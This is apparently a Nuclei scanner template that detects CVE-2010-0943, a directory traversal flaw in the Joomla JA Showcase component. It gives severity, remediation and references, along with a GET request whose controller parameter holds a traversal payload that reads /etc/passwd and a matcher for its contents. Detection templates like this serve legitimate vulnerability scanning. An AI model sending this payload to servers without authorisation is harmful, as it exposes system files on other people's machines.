id: CVE-2010-0943

info:
  name: Joomla! Component com_jashowcase - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Update to the latest version of Joomla! Component com_jashowcase to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11090
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0943
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55512
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0943
    cwe-id: CWE-22
    epss-score: 0.16358
    epss-percentile: 0.96556
    cpe: cpe:2.3:a:joomlart:com_jashowcase:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlart
    product: com_jashowcase
  tags: cve,cve2010,joomla,lfi,edb,joomlart,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402201c892a36174477d63bba408d69abe8ae519aae8164cc0b8795a8e6b25826c8470220261bbd0fa7bd1ddae0849bf7c9fb988d5fa7c58b18bca1c1840bcd79aea0456e:922c64590222798bb761d5b6d8e72950